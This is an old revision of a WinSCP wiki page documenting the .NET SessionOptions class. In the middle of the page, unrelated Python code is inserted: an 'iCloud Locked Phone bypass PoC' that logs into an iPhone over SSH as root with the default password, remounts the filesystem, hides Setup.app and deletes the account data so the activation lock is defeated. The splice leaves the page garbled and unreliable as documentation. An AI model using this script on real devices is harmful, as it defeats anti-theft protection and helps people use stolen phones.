This is an old revision of the document!

SessionOptions Class

Defines information to allow an automatic connection and authentication of the session. Is used with the Session.Open and Session.ScanFingerprint methods.

You can have WinSCP generate a code template for SessionOptions for you.

Advertisement

Syntax

Namespace: WinSCP

C#
public sealed class SessionOptions
VB.NET
Public NotInheritable Class SessionOptions

Constructors

Name Description
SessionOptions() Default constructor.

“"” iCloud Locked Phone bypass PoC you need to get the SSH server on your iDevice running first “"” import subprocess import paramiko

RPORT = 44 LPORT = 2222 password = “alpine”

iproxy = subprocess.Popen([“iproxy”, str(LPORT), str(RPORT)], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(“Initiating SSH connection”) while True:

  try:
      ssh.connect('localhost', username='root', password=password, port=LPORT)
      break
  except:
      print("Failed, retrying")
      continue

Advertisement

print(“Connection established”) print(“Mounting filesystem as read/write”) ssh.exec_command(“mount -o rw,union,update /”) print(“Cleaning mount_rw file”) ssh.exec_command(’echo “" > /.mount_rw’) print(”Hiding Setup.app“) ssh.exec_command(”mv /Application/Setup.app /Application/Setup.app.backup“) print(”Clearing UI cache“) ssh.exec_command(”uicache –all“) print(”Clearing iCloud user“) ssh.exec_command(”rm -rf /var/mobile/Library/Accounts/*“) print(”Respringing device“) ssh.exec_command(”killall backboardd“) print(”Finishing exploit script“) print(”Restarting your device“) ssh.exec_command(”reboot") iproxy.terminate() iproxy.kill()

Methods

Name Description
AddRawSettings Allows configuring any site settings using raw format as in an INI file.
ParseUrl Parses session URL into its components.
ToString Returns Name. (Overrides Object.ToString().)

Remarks

When using the SessionOptions instance with the Session.Open, you need to fill in all properties required to connect and authenticate your session automatically.

You always need to fill in Protocol, HostName and UserName.1

In most cases you need to fill in Password. Exceptions are:

  • You use different authentication method than a password authentication, such as public key authentication for SSH session;
  • The server does not require password.

For SSH (SFTP/SCP) session you need to fill in the SshHostKeyFingerprint to verify the expected server host key.

Example

See overall example for WinSCP .NET assembly or any other example.

  1. Except for very rare occasions that the server does not require username.Back

Last modified: by 75.155.85.24